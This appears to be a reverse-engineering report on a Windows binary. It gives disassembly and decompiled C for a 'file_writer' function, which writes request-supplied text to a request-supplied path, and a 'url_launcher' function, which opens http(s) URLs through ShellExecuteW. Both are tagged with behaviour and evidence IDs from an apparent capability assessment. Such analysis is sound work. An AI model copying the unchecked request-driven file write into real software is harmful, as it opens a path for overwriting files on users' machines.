140003694	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
14000369c	48 8d 15 b5 81 09 00	LEA RDX,[DAT_14009b858]
1400036a3	48 8d 8c 24 80 00 00 00	LEA RCX,[RSP + 0x80]
1400036ab	e8 a0 b3 00 00	CALL FUN_14000ea50	; FUN_14000ea50: strlen
1400036b0	48 8b 48 10	MOV RCX,qword ptr [RAX + 0x10]
1400036b4	48 89 8c 24 b0 00 00 00	MOV qword ptr [RSP + 0xb0],RCX
1400036bc	0f 10 00	MOVUPS XMM0,xmmword ptr [RAX]
1400036bf	0f 29 84 24 a0 00 00 00	MOVAPS xmmword ptr [RSP + 0xa0],XMM0
1400036c7	0f 11 30	MOVUPS xmmword ptr [RAX],XMM6
1400036ca	48 c7 40 10 00 00 00 00	MOV qword ptr [RAX + 0x10],0x0
1400036d2	66 c7 84 24 d8 00 00 00 …	MOV word ptr [RSP + 0xd8],0x0
1400036dc	4c 8d 84 24 a0 00 00 00	LEA R8,[RSP + 0xa0]
1400036e4	4c 8d 8c 24 d8 00 00 00	LEA R9,[RSP + 0xd8]
1400036ec	48 89 f1	MOV RCX,RSI
1400036ef	b2 01	MOV DL,offset u_HAN#_14009b7fc+5
1400036f1	e8 0a f2 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
1400036f6	f6 84 24 a0 00 00 00 01	TEST byte ptr [RSP + 0xa0],0x1
1400036fe	75 65	JNZ LAB_140003765
140003700	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + 0x80],0x1
140003708	75 72	JNZ LAB_14000377c
LAB_14000370a:
14000370a	f6 84 24 c0 00 00 00 01	TEST byte ptr [RSP + 0xc0],0x1
140003712	75 7f	JNZ LAB_140003793
LAB_140003714:
140003714	f6 44 24 40 01	TEST byte ptr [RSP + 0x40],0x1
140003719	0f 84 52 fe ff ff	JZ LAB_140003571
14000371f	e9 87 00 00 00	JMP LAB_1400037ab
LAB_140003724:
140003724	66 c7 84 24 f0 00 00 00 …	MOV word ptr [RSP + 0xf0],0x0
14000372e	c6 44 24 40 12	MOV byte ptr [RSP + 0x40],0x12
140003733	48 b8 6e 6f 74 20 66 6f …	MOV RAX,0x6e756f6620746f6e
14000373d	48 89 44 24 41	MOV qword ptr [RSP + 0x41],RAX
140003742	66 c7 44 24 49 64 00	MOV word ptr [RSP + 0x49],0x64
140003749	4c 8d 84 24 f0 00 00 00	LEA R8,[RSP + 0xf0]
140003751	4c 8d 4c 24 40	LEA R9,[RSP + 0x40]
140003756	48 89 f1	MOV RCX,RSI
140003759	31 d2	XOR EDX,EDX
14000375b	e8 a0 f1 ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140003760	e9 f5 fd ff ff	JMP LAB_14000355a
LAB_140003765:
140003765	48 8b 8c 24 b0 00 00 00	MOV RCX,qword ptr [RSP + 0xb0]
14000376d	e8 6e c1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140003772	f6 84 24 80 00 00 00 01	TEST byte ptr [RSP + 0x80],0x1
14000377a	74 8e	JZ LAB_14000370a
LAB_14000377c:
14000377c	48 8b 8c 24 90 00 00 00	MOV RCX,qword ptr [RSP + 0x90]
140003784	e8 57 c1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140003789	f6 84 24 c0 00 00 00 01	TEST byte ptr [RSP + 0xc0],0x1
140003791	74 81	JZ LAB_140003714
LAB_140003793:
140003793	48 8b 8c 24 d0 00 00 00	MOV RCX,qword ptr [RSP + 0xd0]
14000379b	e8 40 c1 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
1400037a0	f6 44 24 40 01	TEST byte ptr [RSP + 0x40],0x1
1400037a5	0f 84 c6 fd ff ff	JZ LAB_140003571
LAB_1400037ab:
1400037ab	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + 0x50]
1400037b0	e9 b7 fd ff ff	JMP LAB_14000356c

file_writer

0x1400038b0730 bytes

undefined file_writer(ulonglong param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

Writes files by path parameter, builds JSON response with status

Cited as: E16
Behaviours: B9
Called from: ui_thread_handler
Calls: CloseHandle CreateFileW WriteFile json_response_builder, http_request_builder, FUN_140007d10, FUN_14001f8e0

Decompiled C · 150 lines

void file_writer(ulonglong param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  ulonglong uVar2;
  HANDLE hFile;
  int *piVar3;
  longlong lVar4;
  LPCWSTR lpFileName;
  int *in_RDX;
  int *piVar5;
  LPCVOID lpBuffer;
  DWORD nNumberOfBytesToWrite;
  ulonglong in_R9;
  byte local_68;
  uint uStack_67;
  undefined1 local_63;
  void *local_58;
  byte local_50;
  undefined1 uStack_4f;
  undefined7 uStack_4e;
  uint local_47;
  undefined1 local_43;
  void *local_40;
  undefined8 local_38;
  undefined8 uStack_30;
  LPCWSTR local_28;
  DWORD local_1c;
  
  local_38 = 0;
  uStack_30 = 0;
  local_28 = (LPCWSTR)0x0;
  if ((in_RDX != (int *)0x0) && (uStack_67 = 0x68746170, *in_RDX == 6)) {
    if (*(int **)(in_RDX + 0x10) != *(int **)(in_RDX + 0x12)) {
      piVar5 = *(int **)(in_RDX + 0x10) + 6;
      do {
        bVar1 = *(byte *)(piVar5 + -6);
        if ((bVar1 & 1) == 0) {
          in_R9 = (ulonglong)(bVar1 >> 1);
        }
        else {
          in_R9 = *(ulonglong *)(piVar5 + -4);
        }
        if (in_R9 == 4) {
          if ((bVar1 & 1) == 0) {
            piVar3 = (int *)((longlong)piVar5 + -0x17);
          }
          else {
            piVar3 = *(int **)(piVar5 + -2);
          }
          if (*piVar3 == 0x68746170) goto LAB_14000396a;
        }
        piVar3 = piVar5 + 0x16;
        piVar5 = piVar5 + 0x1c;
      } while (piVar3 != *(int **)(in_RDX + 0x12));
    }
    piVar5 = (int *)0x0;
LAB_14000396a:
    local_68 = 8;
    uStack_67 = 0x74786574;
    if (*(longlong *)(in_RDX + 0x10) != *(longlong *)(in_RDX + 0x12)) {
      lpBuffer = (LPCVOID)(*(longlong *)(in_RDX + 0x10) + 0x29);
      do {
        bVar1 = *(byte *)((longlong)lpBuffer + -0x29);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 4) goto LAB_1400039dc;
        }
        else if (*(longlong *)((longlong)lpBuffer + -0x21) == 4) {
LAB_1400039dc:
          if ((bVar1 & 1) == 0) {
            piVar3 = (int *)((longlong)lpBuffer + -0x28);
          }
          else {
            piVar3 = *(int **)((longlong)lpBuffer + -0x19);
          }
          if (*piVar3 == 0x74786574) {
            if (piVar5 != (int *)0x0) {
              local_50 = 0;
              uStack_4f = 0;
              FUN_140007d10((longlong *)&local_68,piVar5,&local_50,in_R9);
              uVar2 = http_request_builder(&local_68,param_2,param_3,param_4);
              if ((local_68 & 1) != 0) {
                FUN_14001f8e0(local_58);
              }
              if ((local_50 & 1) != 0) {
                FUN_14001f8e0(local_40);
              }
              if ((char)uVar2 != '\0') {
                lpFileName = local_28;
                if ((local_38 & 1) == 0) {
                  lpFileName = (LPCWSTR)((longlong)&local_38 + 2);
                }
                hFile = CreateFileW(lpFileName,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
                                    (HANDLE)0x0);
                if (hFile == (HANDLE)0xffffffffffffffff) {
                  local_68 = 0;
                  uStack_67 = uStack_67 & 0xffffff00;
                  local_50 = 0x18;
                  uStack_4f = 99;
                  uStack_4e = 0x7720746f6e6e61;
                  local_47 = 0x65746972;
                  local_43 = 0;
                  json_response_builder(param_1,'\0',&local_68,&local_50);
                }
                else {
                  if ((*(byte *)((longlong)lpBuffer + -1) & 1) == 0) {
                    nNumberOfBytesToWrite = (DWORD)(*(byte *)((longlong)lpBuffer + -1) >> 1);
                  }
                  else {
                    nNumberOfBytesToWrite = *(DWORD *)((longlong)lpBuffer + 7);
                    lpBuffer = *(LPCVOID *)((longlong)lpBuffer + 0xf);
                  }
                  WriteFile(hFile,lpBuffer,nNumberOfBytesToWrite,&local_1c,(LPOVERLAPPED)0x0);
                  CloseHandle(hFile);
                  local_68 = 8;
                  uStack_67 = 0x65757274;
                  local_63 = 0;
                  local_50 = 0;
                  uStack_4f = 0;
                  json_response_builder(param_1,'\x01',&local_68,&local_50);
                }
                goto LAB_140003a90;
              }
            }
            break;
          }
        }
        lVar4 = (longlong)lpBuffer + 0x47;
        lpBuffer = (LPCVOID)((longlong)lpBuffer + 0x70);
      } while (lVar4 != *(longlong *)(in_RDX + 0x12));
    }
  }
  local_68 = 0;
  uStack_67 = uStack_67 & 0xffffff00;
  local_50 = 0x10;
  uStack_4f = 0x62;
  uStack_4e = 0x68746170206461;
  local_47 = local_47 & 0xffffff00;
  json_response_builder(param_1,'\0',&local_68,&local_50);
LAB_140003a90:
  if ((local_68 & 1) != 0) {
    FUN_14001f8e0(local_58);
  }
  if ((local_38 & 1) != 0) {
    FUN_14001f8e0(local_28);
  }
  return;
}

Assembly · 177 instructions, 9 annotated

Address	Bytes	Instruction	Comment
1400038b0	56	PUSH RSI
1400038b1	57	PUSH RDI
1400038b2	53	PUSH RBX
1400038b3	48 81 ec 90 00 00 00	SUB RSP,0x90
1400038ba	48 89 ce	MOV RSI,RCX
1400038bd	0f 57 c0	XORPS XMM0,XMM0
1400038c0	0f 29 44 24 70	MOVAPS xmmword ptr [RSP + local_38[0]],XMM0
1400038c5	48 c7 84 24 80 00 00 00 …	MOV qword ptr [RSP + local_28],0x0
1400038d1	48 85 d2	TEST RDX,RDX
1400038d4	0f 84 82 01 00 00	JZ LAB_140003a5c
1400038da	48 89 d0	MOV RAX,RDX
1400038dd	c6 44 24 40 08	MOV byte ptr [RSP + local_68],0x8
1400038e2	c7 44 24 41 70 61 74 68	MOV dword ptr [RSP + local_68+0x1],0x68746170
1400038ea	83 3a 06	CMP dword ptr [RDX],0x6
1400038ed	0f 85 69 01 00 00	JNZ LAB_140003a5c
1400038f3	48 8b 50 40	MOV RDX,qword ptr [RAX + 0x40]
1400038f7	48 8b 48 48	MOV RCX,qword ptr [RAX + 0x48]
1400038fb	48 39 ca	CMP RDX,RCX
1400038fe	74 68	JZ LAB_140003968
140003900	48 83 c2 18	ADD RDX,0x18
140003904	eb 29	JMP LAB_14000392f
LAB_140003910:
140003910	4c 8b 42 f8	MOV R8,qword ptr [RDX + -0x8]
LAB_140003914:
140003914	45 8b 00	MOV R8D,dword ptr [R8]
140003917	44 3b 44 24 41	CMP R8D,dword ptr [RSP + local_68+0x1]
14000391c	74 4c	JZ LAB_14000396a
LAB_14000391e:
14000391e	4c 8d 42 e8	LEA R8,[RDX + -0x18]
140003922	48 83 c2 70	ADD RDX,0x70
140003926	49 83 c0 70	ADD R8,0x70
14000392a	49 39 c8	CMP R8,RCX
14000392d	74 39	JZ LAB_140003968
LAB_14000392f:
14000392f	44 0f b6 42 e8	MOVZX R8D,byte ptr [RDX + -0x18]
140003934	41 f6 c0 01	TEST R8B,0x1
140003938	74 16	JZ LAB_140003950
14000393a	4c 8b 4a f0	MOV R9,qword ptr [RDX + -0x10]
14000393e	49 83 f9 04	CMP R9,0x4
140003942	75 da	JNZ LAB_14000391e
140003944	eb 16	JMP LAB_14000395c
LAB_140003950:
140003950	45 89 c1	MOV R9D,R8D
140003953	41 d1 e9	SHR R9D,0x1
140003956	49 83 f9 04	CMP R9,0x4
14000395a	75 c2	JNZ LAB_14000391e
LAB_14000395c:
14000395c	41 f6 c0 01	TEST R8B,0x1
140003960	75 ae	JNZ LAB_140003910
140003962	4c 8d 42 e9	LEA R8,[RDX + -0x17]
140003966	eb ac	JMP LAB_140003914
LAB_140003968:
140003968	31 d2	XOR EDX,EDX
LAB_14000396a:
14000396a	c6 44 24 40 08	MOV byte ptr [RSP + local_68],0x8
14000396f	c7 44 24 41 74 65 78 74	MOV dword ptr [RSP + local_68+0x1],0x74786574
140003977	48 8b 78 40	MOV RDI,qword ptr [RAX + 0x40]
14000397b	48 8b 40 48	MOV RAX,qword ptr [RAX + 0x48]
14000397f	48 39 c7	CMP RDI,RAX
140003982	0f 84 d4 00 00 00	JZ LAB_140003a5c
140003988	48 83 c7 29	ADD RDI,0x29
14000398c	eb 23	JMP LAB_1400039b1
LAB_140003990:
140003990	48 8b 4f e7	MOV RCX,qword ptr [RDI + -0x19]
LAB_140003994:
140003994	8b 09	MOV ECX,dword ptr [RCX]
140003996	3b 4c 24 41	CMP ECX,dword ptr [RSP + local_68+0x1]
14000399a	74 4b	JZ LAB_1400039e7
LAB_14000399c:
14000399c	48 8d 4f d7	LEA RCX,[RDI + -0x29]
1400039a0	48 83 c7 70	ADD RDI,0x70
1400039a4	48 83 c1 70	ADD RCX,0x70
1400039a8	48 39 c1	CMP RCX,RAX
1400039ab	0f 84 ab 00 00 00	JZ LAB_140003a5c
LAB_1400039b1:
1400039b1	0f b6 4f d7	MOVZX ECX,byte ptr [RDI + -0x29]
1400039b5	f6 c1 01	TEST CL,0x1
1400039b8	74 16	JZ LAB_1400039d0
1400039ba	4c 8b 47 df	MOV R8,qword ptr [RDI + -0x21]
1400039be	49 83 f8 04	CMP R8,0x4
1400039c2	75 d8	JNZ LAB_14000399c
1400039c4	eb 16	JMP LAB_1400039dc
LAB_1400039d0:
1400039d0	41 89 c8	MOV R8D,ECX
1400039d3	41 d1 e8	SHR R8D,0x1
1400039d6	49 83 f8 04	CMP R8,0x4
1400039da	75 c0	JNZ LAB_14000399c
LAB_1400039dc:
1400039dc	f6 c1 01	TEST CL,0x1
1400039df	75 af	JNZ LAB_140003990
1400039e1	48 8d 4f d8	LEA RCX,[RDI + -0x28]
1400039e5	eb ad	JMP LAB_140003994
LAB_1400039e7:
1400039e7	48 85 d2	TEST RDX,RDX
1400039ea	74 70	JZ LAB_140003a5c
1400039ec	66 c7 44 24 58 00 00	MOV word ptr [RSP + local_50[0]],0x0
1400039f3	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
1400039f8	4c 8d 44 24 58	LEA R8,[RSP + 0x58]
1400039fd	e8 0e 43 00 00	CALL FUN_140007d10	; FUN_140007d10: strlen, memcpy
140003a02	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140003a07	48 8d 54 24 70	LEA RDX,[RSP + 0x70]
140003a0c	e8 0f 0c 00 00	CALL http_request_builder	; → http_request_builder (B3, E22)
140003a11	89 c3	MOV EBX,EAX
140003a13	f6 44 24 40 01	TEST byte ptr [RSP + local_68],0x1
140003a18	75 23	JNZ LAB_140003a3d
140003a1a	f6 44 24 58 01	TEST byte ptr [RSP + local_50[0]],0x1
140003a1f	75 2d	JNZ LAB_140003a4e
LAB_140003a21:
140003a21	84 db	TEST BL,BL
140003a23	74 37	JZ LAB_140003a5c
LAB_140003a25:
140003a25	f6 44 24 70 01	TEST byte ptr [RSP + local_38[0]],0x1
140003a2a	0f 84 91 00 00 00	JZ LAB_140003ac1
140003a30	48 8b 8c 24 80 00 00 00	MOV RCX,qword ptr [RSP + local_28]
140003a38	e9 89 00 00 00	JMP LAB_140003ac6
LAB_140003a3d:
140003a3d	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_58]
140003a42	e8 99 be 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140003a47	f6 44 24 58 01	TEST byte ptr [RSP + local_50[0]],0x1
140003a4c	74 d3	JZ LAB_140003a21
LAB_140003a4e:
140003a4e	48 8b 4c 24 68	MOV RCX,qword ptr [RSP + local_40]
140003a53	e8 88 be 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
140003a58	84 db	TEST BL,BL
140003a5a	75 c9	JNZ LAB_140003a25
LAB_140003a5c:
140003a5c	66 c7 44 24 40 00 00	MOV word ptr [RSP + local_68],0x0
140003a63	c6 44 24 58 10	MOV byte ptr [RSP + local_50[0]],0x10
140003a68	48 b8 62 61 64 20 70 61 …	MOV RAX,0x6874617020646162
140003a72	48 89 44 24 59	MOV qword ptr [RSP + local_50[1]],RAX
140003a77	c6 44 24 61 00	MOV byte ptr [RSP + local_47],0x0
140003a7c	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
140003a81	4c 8d 4c 24 58	LEA R9,[RSP + 0x58]
140003a86	48 89 f1	MOV RCX,RSI
140003a89	31 d2	XOR EDX,EDX
140003a8b	e8 70 ee ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
LAB_140003a90:
140003a90	f6 44 24 40 01	TEST byte ptr [RSP + local_68],0x1
140003a95	74 0a	JZ LAB_140003aa1
140003a97	48 8b 4c 24 50	MOV RCX,qword ptr [RSP + local_58]
140003a9c	e8 3f be 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003aa1:
140003aa1	f6 44 24 70 01	TEST byte ptr [RSP + local_38[0]],0x1
140003aa6	74 0d	JZ LAB_140003ab5
140003aa8	48 8b 8c 24 80 00 00 00	MOV RCX,qword ptr [RSP + local_28]
140003ab0	e8 2b be 01 00	CALL FUN_14001f8e0	; FUN_14001f8e0: free
LAB_140003ab5:
140003ab5	90	NOP
140003ab6	48 81 c4 90 00 00 00	ADD RSP,0x90
140003abd	5b	POP RBX
140003abe	5f	POP RDI
140003abf	5e	POP RSI
140003ac0	c3	RET
LAB_140003ac1:
140003ac1	48 8d 4c 24 72	LEA RCX,[RSP + 0x72]
LAB_140003ac6:
140003ac6	48 c7 44 24 30 00 00 00 …	MOV qword ptr [RSP + local_78],0x0
140003acf	c7 44 24 28 80 00 00 00	MOV dword ptr [RSP + local_80],0x80
140003ad7	c7 44 24 20 02 00 00 00	MOV dword ptr [RSP + local_88],0x2
140003adf	ba 00 00 00 40	MOV EDX,0x40000000
140003ae4	45 31 c0	XOR R8D,R8D
140003ae7	45 31 c9	XOR R9D,R9D
140003aea	ff 15 e8 ec 0a 00	CALL qword ptr [PTR_CreateFileW_1400b27d8]
140003af0	48 89 c3	MOV RBX,RAX
140003af3	48 83 f8 ff	CMP RAX,-0x1
140003af7	74 15	JZ LAB_140003b0e
140003af9	44 0f b6 47 ff	MOVZX R8D,byte ptr [RDI + -0x1]
140003afe	41 f6 c0 01	TEST R8B,0x1
140003b02	74 4b	JZ LAB_140003b4f
140003b04	44 8b 47 07	MOV R8D,dword ptr [RDI + 0x7]
140003b08	48 8b 7f 0f	MOV RDI,qword ptr [RDI + 0xf]
140003b0c	eb 44	JMP LAB_140003b52
LAB_140003b0e:
140003b0e	66 c7 44 24 40 00 00	MOV word ptr [RSP + local_68],0x0
140003b15	c6 44 24 58 18	MOV byte ptr [RSP + local_50[0]],0x18
140003b1a	48 b8 63 61 6e 6e 6f 74 …	MOV RAX,0x7720746f6e6e6163
140003b24	48 89 44 24 59	MOV qword ptr [RSP + local_50[1]],RAX
140003b29	c7 44 24 61 72 69 74 65	MOV dword ptr [RSP + local_47],0x65746972
140003b31	c6 44 24 65 00	MOV byte ptr [RSP + local_43],0x0
140003b36	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
140003b3b	4c 8d 4c 24 58	LEA R9,[RSP + 0x58]
140003b40	48 89 f1	MOV RCX,RSI
140003b43	31 d2	XOR EDX,EDX
140003b45	e8 b6 ed ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140003b4a	e9 41 ff ff ff	JMP LAB_140003a90
LAB_140003b4f:
140003b4f	41 d1 e8	SHR R8D,0x1
LAB_140003b52:
140003b52	48 c7 44 24 20 00 00 00 …	MOV qword ptr [RSP + local_88],0x0
140003b5b	4c 8d 8c 24 8c 00 00 00	LEA R9,[RSP + 0x8c]
140003b63	48 89 d9	MOV RCX,RBX
140003b66	48 89 fa	MOV RDX,RDI
140003b69	ff 15 d9 ee 0a 00	CALL qword ptr [PTR_WriteFile_1400b2a48]
140003b6f	48 89 d9	MOV RCX,RBX
140003b72	ff 15 50 ec 0a 00	CALL qword ptr [PTR_CloseHandle_1400b27c8]
140003b78	c6 44 24 40 08	MOV byte ptr [RSP + local_68],0x8
140003b7d	c7 44 24 41 74 72 75 65	MOV dword ptr [RSP + local_68+0x1],0x65757274
140003b85	c6 44 24 45 00	MOV byte ptr [RSP + local_63],0x0
140003b8a	66 c7 44 24 58 00 00	MOV word ptr [RSP + local_50[0]],0x0
140003b91	4c 8d 44 24 40	LEA R8,[RSP + 0x40]
140003b96	4c 8d 4c 24 58	LEA R9,[RSP + 0x58]
140003b9b	48 89 f1	MOV RCX,RSI
140003b9e	b2 01	MOV DL,0x1
140003ba0	e8 5b ed ff ff	CALL json_response_builder	; → json_response_builder (B10, E19)
140003ba5	e9 e6 fe ff ff	JMP LAB_140003a90

url_launcher

0x140003c10893 bytes

undefined url_launcher(ulonglong param_1, int * param_2, undefined8 param_3, undefined8 param_4)

Opens URLs via ShellExecuteW, builds JSON response with result

Cited as: E6
Behaviours: B5
Called from: ui_thread_handler
Calls: ShellExecuteW json_response_builder, FUN_140002e30, FUN_140007d10, FUN_14001f8e0

Decompiled C · 195 lines

void url_launcher(ulonglong param_1,int *param_2,undefined8 param_3,undefined8 param_4)

{
  LPCWSTR pWVar1;
  byte bVar2;
  LPCWSTR lpFile;
  ulonglong uVar3;
  LPCWSTR pWVar4;
  short *psVar5;
  int *piVar6;
  ulonglong uVar7;
  int *piVar8;
  LPCWSTR pWVar9;
  LPCWSTR pWVar10;
  byte local_50;
  uint uStack_4f;
  uint uStack_4b;
  undefined4 local_47;
  undefined1 local_43;
  void *local_40;
  undefined4 local_38;
  ulonglong local_30;
  LPCWSTR local_28;
  byte local_20;
  char cStack_1f;
  undefined7 uStack_1e;
  undefined7 uStack_17;
  char cStack_10;
  undefined4 uStack_f;
  undefined1 uStack_b;
  undefined2 uStack_a;
  
  if (param_2 != (int *)0x0) {
    local_38._0_3_ = 0x727506;
    local_38._3_1_ = 0x6c;
    if (*param_2 == 6) {
      if (*(int **)(param_2 + 0x10) != *(int **)(param_2 + 0x12)) {
        piVar8 = *(int **)(param_2 + 0x10) + 6;
        do {
          bVar2 = *(byte *)(piVar8 + -6);
          if ((bVar2 & 1) == 0) {
            if (bVar2 >> 1 == 3) goto LAB_140003cbc;
          }
          else if (*(longlong *)(piVar8 + -4) == 3) {
LAB_140003cbc:
            if ((bVar2 & 1) == 0) {
              psVar5 = (short *)((longlong)piVar8 + -0x17);
            }
            else {
              psVar5 = *(short **)(piVar8 + -2);
            }
            if ((char)psVar5[1] == 'l' && *psVar5 == 0x7275) {
              local_20 = 0;
              cStack_1f = 0;
              FUN_140007d10((longlong *)&local_50,piVar8,&local_20,param_4);
              FUN_140002e30((byte *)&local_38,&local_50);
              if ((local_50 & 1) != 0) {
                FUN_14001f8e0(local_40);
              }
              if ((local_20 & 1) != 0) {
                FUN_14001f8e0((void *)CONCAT26(uStack_a,CONCAT15(uStack_b,CONCAT41(uStack_f,
                                                  cStack_10))));
              }
              uVar3 = (ulonglong)((byte)local_38 >> 1);
              lpFile = (LPCWSTR)((longlong)&local_38 + 2);
              if (((uint3)local_38 & 1) != 0) {
                uVar3 = local_30;
                lpFile = local_28;
              }
              uVar7 = 7;
              if (uVar3 < 7) {
                uVar7 = uVar3;
              }
              if (uVar3 == 0) goto LAB_140003f4d;
              pWVar1 = lpFile + (uVar7 & 0xffffffff);
              pWVar4 = pWVar1;
              pWVar9 = lpFile;
              goto LAB_140003da4;
            }
          }
          piVar6 = piVar8 + 0x16;
          piVar8 = piVar8 + 0x1c;
        } while (piVar6 != *(int **)(param_2 + 0x12));
      }
    }
  }
  local_38._0_3_ = (uint3)local_38 & 0xff0000;
  local_50 = 0x18;
  uStack_4f = 0x206c7275;
  uStack_4b = 0x75716572;
  local_47 = 0x64657269;
  local_43 = 0;
  json_response_builder(param_1,'\0',(byte *)&local_38,&local_50);
  goto LAB_140003d03;
LAB_140003da4:
  do {
    do {
      do {
        do {
          do {
            pWVar10 = pWVar9 + 6;
            while (pWVar9 = pWVar10 + -5, pWVar10[-6] != L'h') {
              pWVar10 = pWVar10 + 1;
              if (pWVar9 == pWVar1) goto LAB_140003e2e;
            }
            if (pWVar9 == pWVar1) goto LAB_140003e2e;
          } while (*pWVar9 != L't');
          if (pWVar10 + -4 == pWVar1) goto LAB_140003e2e;
        } while (pWVar10[-4] != L't');
        if (pWVar10 + -3 == pWVar1) goto LAB_140003e2e;
      } while (pWVar10[-3] != L'p');
      if (pWVar10 + -2 == pWVar1) goto LAB_140003e2e;
    } while (pWVar10[-2] != L':');
    if (pWVar10 + -1 == pWVar1) goto LAB_140003e2e;
  } while (pWVar10[-1] != L'/');
  if (pWVar10 == pWVar1) goto LAB_140003e2e;
  pWVar9 = pWVar10 + -5;
  if (*pWVar10 == L'/') {
    pWVar4 = pWVar10 + -6;
  }
  goto LAB_140003da4;
LAB_140003e2e:
  if ((pWVar4 == pWVar1) || (pWVar4 != lpFile)) {
    uVar7 = 8;
    if (uVar3 < 8) {
      uVar7 = uVar3;
    }
    pWVar1 = lpFile + (uVar7 & 0xffffffff);
    pWVar4 = pWVar1;
    pWVar9 = lpFile;
    while( true ) {
      do {
        do {
          do {
            do {
              do {
                do {
                  pWVar10 = pWVar9 + 7;
                  while (pWVar9 = pWVar10 + -6, pWVar10[-7] != L'h') {
                    pWVar10 = pWVar10 + 1;
                    if (pWVar9 == pWVar1) goto LAB_140003ef1;
                  }
                  if (pWVar9 == pWVar1) goto LAB_140003ef1;
                } while (*pWVar9 != L't');
                if (pWVar10 + -5 == pWVar1) goto LAB_140003ef1;
              } while (pWVar10[-5] != L't');
              if (pWVar10 + -4 == pWVar1) goto LAB_140003ef1;
            } while (pWVar10[-4] != L'p');
            if (pWVar10 + -3 == pWVar1) goto LAB_140003ef1;
          } while (pWVar10[-3] != L's');
          if (pWVar10 + -2 == pWVar1) goto LAB_140003ef1;
        } while (pWVar10[-2] != L':');
        if (pWVar10 + -1 == pWVar1) goto LAB_140003ef1;
      } while (pWVar10[-1] != L'/');
      if (pWVar10 == pWVar1) break;
      pWVar9 = pWVar10 + -6;
      if (*pWVar10 == L'/') {
        pWVar4 = pWVar10 + -7;
      }
    }
LAB_140003ef1:
    if ((pWVar4 != pWVar1) && (pWVar4 == lpFile)) goto LAB_140003efb;
LAB_140003f4d:
    local_50 = 0;
    uStack_4f = uStack_4f & 0xffffff00;
    local_20 = 0x28;
    cStack_1f = (char)s_only_http_s__allowed_14009bc1d._0_8_;
    uStack_1e = SUB87(s_only_http_s__allowed_14009bc1d._0_8_,1);
    uStack_17 = (undefined7)s_only_http_s__allowed_14009bc1d._8_8_;
    cStack_10 = SUB81(s_only_http_s__allowed_14009bc1d._8_8_,7);
    uStack_f = 0x6465776f;
    uStack_b = 0;
    json_response_builder(param_1,'\0',&local_50,&local_20);
  }
  else {
LAB_140003efb:
    ShellExecuteW((HWND)0x0,L"open",lpFile,(LPCWSTR)0x0,(LPCWSTR)0x0,1);
    local_50 = 8;
    uStack_4f = 0x65757274;
    uStack_4b = uStack_4b & 0xffffff00;
    local_20 = 0;
    cStack_1f = '\0';
    json_response_builder(param_1,'\x01',&local_50,&local_20);
  }
  if ((local_50 & 1) != 0) {
    FUN_14001f8e0(local_40);
  }
LAB_140003d03:
  if (((uint3)local_38 & 1) != 0) {
    FUN_14001f8e0(local_28);
  }
  return;
}

Assembly · 229 instructions, 11 annotated

Address	Bytes	Instruction	Comment
140003c10	56	PUSH RSI
140003c11	48 81 ec 80 00 00 00	SUB RSP,0x80
140003c18	48 89 ce	MOV RSI,RCX
140003c1b	48 85 d2	TEST RDX,RDX
140003c1e	0f 84 a3 00 00 00	JZ LAB_140003cc7
140003c24	c6 44 24 50 06	MOV byte ptr [RSP + local_38],0x6
140003c29	66 c7 44 24 51 75 72	MOV word ptr [RSP + local_38+0x1],0x7275
140003c30	c6 44 24 53 6c	MOV byte ptr [RSP + local_38+0x3],0x6c
140003c35	83 3a 06	CMP dword ptr [RDX],0x6
140003c38	0f 85 89 00 00 00	JNZ LAB_140003cc7
140003c3e	48 89 d0	MOV RAX,RDX
140003c41	48 8b 52 40	MOV RDX,qword ptr [RDX + 0x40]
140003c45	48 8b 40 48	MOV RAX,qword ptr [RAX + 0x48]
140003c49	48 39 c2	CMP RDX,RAX
140003c4c	74 79	JZ LAB_140003cc7
140003c4e	48 83 c2 18	ADD RDX,0x18
140003c52	eb 40	JMP LAB_140003c94
LAB_140003c60:
140003c60	48 8b 4a f8	MOV RCX,qword ptr [RDX + -0x8]
LAB_140003c64:
140003c64	44 0f b7 01	MOVZX R8D,word ptr [RCX]
140003c68	66 44 33 44 24 51	XOR R8W,word ptr [RSP + local_38+0x1]
140003c6e	0f b6 49 02	MOVZX ECX,byte ptr [RCX + 0x2]
140003c72	32 4c 24 53	XOR CL,byte ptr [RSP + local_38+0x3]
140003c76	0f b6 c9	MOVZX ECX,CL
140003c79	66 44 09 c1	OR CX,R8W
140003c7d	0f 84 9b 00 00 00	JZ LAB_140003d1e
LAB_140003c83:
140003c83	48 8d 4a e8	LEA RCX,[RDX + -0x18]
140003c87	48 83 c2 70	ADD RDX,0x70
140003c8b	48 83 c1 70	ADD RCX,0x70
140003c8f	48 39 c1	CMP RCX,RAX
140003c92	74 33	JZ LAB_140003cc7
LAB_140003c94:
140003c94	0f b6 4a e8	MOVZX ECX,byte ptr [RDX + -0x18]
140003c98	f6 c1 01	TEST CL,0x1
140003c9b	74 13	JZ LAB_140003cb0
140003c9d	4c 8b 42 f0	MOV R8,qword ptr [RDX + -0x10]
140003ca1	49 83 f8 03	CMP R8,0x3
140003ca5	75 dc	JNZ LAB_140003c83
140003ca7	eb 13	JMP LAB_140003cbc
LAB_140003cb0:
140003cb0	41 89 c8	MOV R8D,ECX
140003cb3	41 d1 e8	SHR R8D,0x1
140003cb6	49 83 f8 03	CMP R8,0x3
140003cba	75 c7	JNZ LAB_140003c83
LAB_140003cbc:
